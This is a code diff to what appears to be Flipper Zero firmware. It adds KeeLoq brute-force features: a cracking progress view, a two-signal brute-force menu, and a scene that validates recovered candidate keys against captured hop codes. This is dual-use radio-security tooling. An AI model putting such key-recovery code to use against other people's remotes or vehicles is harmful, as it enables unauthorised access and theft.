||||
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
|
||||
if(ctx) {
|
||||
kl_ble_cleanup(ctx);
|
||||
ctx->cancel = true;
|
||||
furi_string_free(ctx->result);
|
||||
free(ctx);
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
|
||||
}
|
||||
}
|
||||
141
applications/main/subghz/scenes/subghz_scene_kl_bf_cleanup.c
Normal file
141
applications/main/subghz/scenes/subghz_scene_kl_bf_cleanup.c
Normal file
@@ -0,0 +1,141 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
|
||||
typedef struct {
|
||||
uint32_t serial;
|
||||
uint32_t fix;
|
||||
uint32_t hop;
|
||||
uint32_t hop2;
|
||||
uint8_t btn;
|
||||
uint16_t disc;
|
||||
size_t bf_indices[32];
|
||||
size_t bf_count;
|
||||
size_t valid_indices[32];
|
||||
size_t valid_count;
|
||||
} KlCleanupCtx;
|
||||
|
||||
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
|
||||
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
|
||||
if((dec >> 28) != btn) return false;
|
||||
uint16_t dec_disc = (dec >> 16) & 0x3FF;
|
||||
if(dec_disc == disc) return true;
|
||||
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
|
||||
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
|
||||
if(hop2 == 0) return true;
|
||||
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
|
||||
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
|
||||
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
|
||||
uint16_t cnt1 = dec1 & 0xFFFF;
|
||||
uint16_t cnt2 = dec2 & 0xFFFF;
|
||||
int diff = (int)cnt2 - (int)cnt1;
|
||||
return (diff >= 1 && diff <= 256);
|
||||
}
|
||||
|
||||
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
|
||||
memset(ctx, 0, sizeof(KlCleanupCtx));
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
ctx->btn = ctx->fix >> 28;
|
||||
ctx->disc = ctx->serial & 0x3FF;
|
||||
}
|
||||
|
||||
ctx->hop2 = 0;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
if(!subghz->keeloq_keys_manager) {
|
||||
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
|
||||
}
|
||||
|
||||
char bf_name[24];
|
||||
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
|
||||
|
||||
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
|
||||
ctx->bf_count = 0;
|
||||
ctx->valid_count = 0;
|
||||
|
||||
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
|
||||
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
|
||||
if(!k || !k->name) continue;
|
||||
const char* name = furi_string_get_cstr(k->name);
|
||||
if(strcmp(name, bf_name) == 0) {
|
||||
ctx->bf_indices[ctx->bf_count] = i;
|
||||
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
|
||||
ctx->valid_indices[ctx->valid_count++] = i;
|
||||
}
|
||||
ctx->bf_count++;
|
||||
}
|
||||
}
|
||||
|
||||
FuriString* msg = furi_string_alloc();
|
||||
|
||||
if(ctx->bf_count == 0) {
|
||||
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
|
||||
} else if(ctx->bf_count == 1) {
|
||||
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
|
||||
} else if(ctx->valid_count == 1) {
|
||||
size_t deleted = 0;
|
||||
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
|
||||
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
|
||||
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
|
||||
deleted++;
|
||||
}
|
||||
}
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
furi_string_printf(msg,
|
||||
"Cleaned %u keys.\nKept valid key:\n%s",
|
||||
deleted, bf_name);
|
||||
} else if(ctx->valid_count == 0) {
|
||||
furi_string_printf(msg,
|
||||
"%u BF keys found\nbut none validates\nhop. Kept all.",
|
||||
ctx->bf_count);
|
||||
} else {
|
||||
furi_string_printf(msg,
|
||||
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
|
||||
ctx->bf_count, ctx->valid_count);
|
||||
}
|
||||
|
||||
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
|
||||
furi_string_free(msg);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||
}
|
||||
|
||||
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
|
||||
UNUSED(context);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKlBfCleanup);
|
||||
if(ctx) {
|
||||
free(ctx);
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
|
||||
}
|
||||
|
||||
widget_reset(subghz->widget);
|
||||
}
|
||||
@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
|
||||
|
||||
if(state == SubGhzRxKeyStateExit) {
|
||||
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
|
||||
if(!furi_string_empty(subghz->file_path_tmp)) {
|
||||
subghz_delete_file(subghz);
|
||||
}
|
||||
}
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart);
|
||||
if(!scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart)) {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
} else {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
|
||||
enum SubmenuIndex {
|
||||
SubmenuIndexEmulate,
|
||||
SubmenuIndexPsaDecrypt,
|
||||
SubmenuIndexEdit,
|
||||
SubmenuIndexDelete,
|
||||
SubmenuIndexSignalSettings,
|
||||
SubmenuIndexPsaDecrypt,
|
||||
SubmenuIndexCounterBf
|
||||
};
|
||||
|
||||
@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
|
||||
void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
// Check protocol type for conditional menu items
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
bool is_psa_encrypted = false;
|
||||
bool has_counter = false;
|
||||
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
flipper_format_rewind(fff);
|
||||
if(flipper_format_read_string(fff, "Protocol", proto)) {
|
||||
if(furi_string_equal_str(proto, "PSA GROUP")) {
|
||||
// Check if Type field is missing or zero (not yet decrypted)
|
||||
FuriString* type_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
if(!flipper_format_read_string(fff, "Type", type_str) ||
|
||||
@@ -39,37 +37,31 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
furi_string_free(proto);
|
||||
}
|
||||
|
||||
// Check if protocol has a Cnt field (supports counter bruteforce)
|
||||
if(fff) {
|
||||
uint32_t cnt_tmp = 0;
|
||||
flipper_format_rewind(fff);
|
||||
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
|
||||
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
|
||||
if(got_uint) {
|
||||
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
|
||||
has_counter = true;
|
||||
} else {
|
||||
FuriString* cnt_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
|
||||
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
|
||||
if(got_str && furi_string_size(cnt_str) > 0) {
|
||||
has_counter = true;
|
||||
}
|
||||
furi_string_free(cnt_str);
|
||||
}
|
||||
FuriString* proto_dbg = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_string(fff, "Protocol", proto_dbg);
|
||||
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
|
||||
furi_string_free(proto_dbg);
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Emulate",
|
||||
SubmenuIndexEmulate,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
if(!is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Emulate",
|
||||
SubmenuIndexEmulate,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
if(is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"PSA Decrypt",
|
||||
SubmenuIndexPsaDecrypt,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -92,15 +84,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
SubmenuIndexSignalSettings,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
};
|
||||
if(is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"PSA Decrypt",
|
||||
SubmenuIndexPsaDecrypt,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
if(has_counter) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -126,6 +111,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexPsaDecrypt) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexDelete) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexDelete);
|
||||
@@ -141,11 +131,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexPsaDecrypt) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexCounterBf) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);
|
||||
|
||||
@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
|
||||
SubmenuIndexKeeloqKeys,
|
||||
subghz_scene_start_submenu_callback,
|
||||
subghz);
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"KeeLoq BF (2 Signals)",
|
||||
SubmenuIndexKeeloqBf2,
|
||||
subghz_scene_start_submenu_callback,
|
||||
subghz);
|
||||
submenu_set_selected_item(
|
||||
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
|
||||
|
||||
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexKeeloqBf2) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
|
||||
@@ -10,4 +10,5 @@ enum SubmenuIndex {
|
||||
SubmenuIndexProtocolList,
|
||||
SubmenuIndexRadioSetting,
|
||||
SubmenuIndexKeeloqKeys,
|
||||
SubmenuIndexKeeloqBf2,
|
||||
};
|
||||
|
||||
@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
|
||||
|
||||
subghz->keeloq_keys_manager = NULL;
|
||||
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
|
||||
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
|
||||
|
||||
subghz->file_path = furi_string_alloc();
|
||||
subghz->file_path_tmp = furi_string_alloc();
|
||||
|
||||
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
|
||||
SubGhzViewIdPsaDecrypt,
|
||||
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
|
||||
|
||||
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
|
||||
view_dispatcher_add_view(
|
||||
subghz->view_dispatcher,
|
||||
SubGhzViewIdKeeloqDecrypt,
|
||||
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
|
||||
|
||||
//init threshold rssi
|
||||
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
|
||||
|
||||
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
|
||||
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
|
||||
|
||||
// KeeLoq Decrypt
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
|
||||
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
|
||||
|
||||
// Read RAW
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
|
||||
subghz_read_raw_free(subghz->subghz_read_raw);
|
||||
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
|
||||
furi_string_free(subghz->file_path);
|
||||
furi_string_free(subghz->file_path_tmp);
|
||||
|
||||
// KeeLoq key manager (may still be live if app exited from within the edit scene)
|
||||
furi_string_free(subghz->keeloq_bf2.sig1_path);
|
||||
furi_string_free(subghz->keeloq_bf2.sig2_path);
|
||||
|
||||
if(subghz->keeloq_keys_manager) {
|
||||
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
|
||||
subghz->keeloq_keys_manager = NULL;
|
||||
@@ -386,6 +403,7 @@ int32_t subghz_app(void* p) {
|
||||
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
|
||||
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
|
||||
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
|
||||
} else {
|
||||
scene_manager_set_scene_state(
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
#include "views/subghz_frequency_analyzer.h"
|
||||
#include "views/subghz_read_raw.h"
|
||||
#include "views/subghz_psa_decrypt.h"
|
||||
#include "views/subghz_keeloq_decrypt.h"
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <assets_icons.h>
|
||||
@@ -74,6 +75,7 @@ struct SubGhz {
|
||||
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
|
||||
SubGhzReadRAW* subghz_read_raw;
|
||||
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
|
||||
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
|
||||
bool raw_send_only;
|
||||
|
||||
bool save_datetime_set;
|
||||
@@ -102,13 +104,25 @@ struct SubGhz {
|
||||
// KeeLoq key management
|
||||
SubGhzKeeloqKeysManager* keeloq_keys_manager;
|
||||
struct {
|
||||
uint8_t key_bytes[8]; // ByteInput result
|
||||
char name[65]; // TextInput result
|
||||
uint16_t type; // selected learning type 1..8
|
||||
bool is_new; // true = add, false = edit
|
||||
size_t edit_index; // valid when is_new == false
|
||||
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
|
||||
uint8_t key_bytes[8];
|
||||
char name[65];
|
||||
uint16_t type;
|
||||
bool is_new;
|
||||
size_t edit_index;
|
||||
uint8_t edit_step;
|
||||
} keeloq_edit;
|
||||
|
||||
struct {
|
||||
uint32_t fix;
|
||||
uint32_t hop1;
|
||||
uint32_t hop2;
|
||||
uint32_t serial;
|
||||
bool sig1_loaded;
|
||||
bool sig2_loaded;
|
||||
FuriString* sig1_path;
|
||||
FuriString* sig2_path;
|
||||
uint8_t learn_type;
|
||||
} keeloq_bf2;
|
||||
};
|
||||
|
||||
void subghz_blink_start(SubGhz* subghz);
|
||||
|
||||
246
applications/main/subghz/views/subghz_keeloq_decrypt.c
Normal file
246
applications/main/subghz/views/subghz_keeloq_decrypt.c
Normal file
@@ -0,0 +1,246 @@
|
||||
#include "subghz_keeloq_decrypt.h"
|
||||
|
||||
#include <gui/elements.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define KL_TOTAL_KEYS 0x100000000ULL
|
||||
|
||||
struct SubGhzViewKeeloqDecrypt {
|
||||
View* view;
|
||||
SubGhzViewKeeloqDecryptCallback callback;
|
||||
void* context;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint8_t progress;
|
||||
uint32_t keys_tested;
|
||||
uint32_t keys_per_sec;
|
||||
uint32_t elapsed_sec;
|
||||
uint32_t eta_sec;
|
||||
bool done;
|
||||
bool success;
|
||||
uint32_t candidates;
|
||||
FuriString* result_str;
|
||||
char status_line[40];
|
||||
} SubGhzKeeloqDecryptModel;
|
||||
|
||||
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
|
||||
if(count >= 1000000) {
|
||||
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
|
||||
} else if(count >= 1000) {
|
||||
snprintf(buf, len, "%luK", count / 1000);
|
||||
} else {
|
||||
snprintf(buf, len, "%lu", count);
|
||||
}
|
||||
}
|
||||
|
||||
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
|
||||
|
||||
canvas_clear(canvas);
|
||||
|
||||
if(!model->done) {
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
if(model->status_line[0]) {
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
|
||||
} else {
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
|
||||
}
|
||||
|
||||
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
|
||||
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
|
||||
if(fill > 0) {
|
||||
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
char keys_str[32];
|
||||
char tested_buf[12];
|
||||
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
|
||||
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
|
||||
canvas_draw_str(canvas, 2, 38, keys_str);
|
||||
|
||||
char speed_str[40];
|
||||
char speed_buf[12];
|
||||
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
|
||||
uint32_t eta_m = model->eta_sec / 60;
|
||||
uint32_t eta_s = model->eta_sec % 60;
|
||||
if(eta_m > 0) {
|
||||
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
|
||||
} else {
|
||||
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 48, speed_str);
|
||||
|
||||
if(model->candidates > 0) {
|
||||
char cand_str[32];
|
||||
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
|
||||
canvas_draw_str(canvas, 2, 58, cand_str);
|
||||
} else {
|
||||
char elapsed_str[24];
|
||||
uint32_t el_m = model->elapsed_sec / 60;
|
||||
uint32_t el_s = model->elapsed_sec % 60;
|
||||
if(el_m > 0) {
|
||||
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
|
||||
} else {
|
||||
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 58, elapsed_str);
|
||||
}
|
||||
|
||||
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
|
||||
} else {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(model->result_str) {
|
||||
elements_multiline_text_aligned(
|
||||
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
|
||||
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
|
||||
|
||||
if(event->key == InputKeyBack) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
|
||||
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
|
||||
instance->view = view_alloc();
|
||||
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
|
||||
view_set_context(instance->view, instance);
|
||||
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
|
||||
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
|
||||
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->result_str = furi_string_alloc();
|
||||
model->progress = 0;
|
||||
model->keys_tested = 0;
|
||||
model->keys_per_sec = 0;
|
||||
model->elapsed_sec = 0;
|
||||
model->eta_sec = 0;
|
||||
model->done = false;
|
||||
model->success = false;
|
||||
model->candidates = 0;
|
||||
},
|
||||
false);
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{ furi_string_free(model->result_str); },
|
||||
false);
|
||||
view_free(instance->view);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
return instance->view;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_callback(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
SubGhzViewKeeloqDecryptCallback callback,
|
||||
void* context) {
|
||||
furi_check(instance);
|
||||
instance->callback = callback;
|
||||
instance->context = context;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_stats(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
uint8_t progress,
|
||||
uint32_t keys_tested,
|
||||
uint32_t keys_per_sec,
|
||||
uint32_t elapsed_sec,
|
||||
uint32_t eta_sec) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->progress = progress;
|
||||
model->keys_tested = keys_tested;
|
||||
model->keys_per_sec = keys_per_sec;
|
||||
model->elapsed_sec = elapsed_sec;
|
||||
model->eta_sec = eta_sec;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_result(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
bool success,
|
||||
const char* result) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->done = true;
|
||||
model->success = success;
|
||||
furi_string_set_str(model->result_str, result);
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->progress = 0;
|
||||
model->keys_tested = 0;
|
||||
model->keys_per_sec = 0;
|
||||
model->elapsed_sec = 0;
|
||||
model->eta_sec = 0;
|
||||
model->done = false;
|
||||
model->success = false;
|
||||
model->candidates = 0;
|
||||
furi_string_reset(model->result_str);
|
||||
model->status_line[0] = '\0';
|
||||
},
|
||||
false);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
if(status) {
|
||||
strlcpy(model->status_line, status, sizeof(model->status_line));
|
||||
} else {
|
||||
model->status_line[0] = '\0';
|
||||
}
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_candidates(
|
||||
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{ model->candidates = count; },
|
||||
true);
|
||||
}
|
||||
37
applications/main/subghz/views/subghz_keeloq_decrypt.h
Normal file
37
applications/main/subghz/views/subghz_keeloq_decrypt.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/view.h>
|
||||
#include "../helpers/subghz_custom_event.h"
|
||||
|
||||
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
|
||||
|
||||
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
|
||||
|
||||
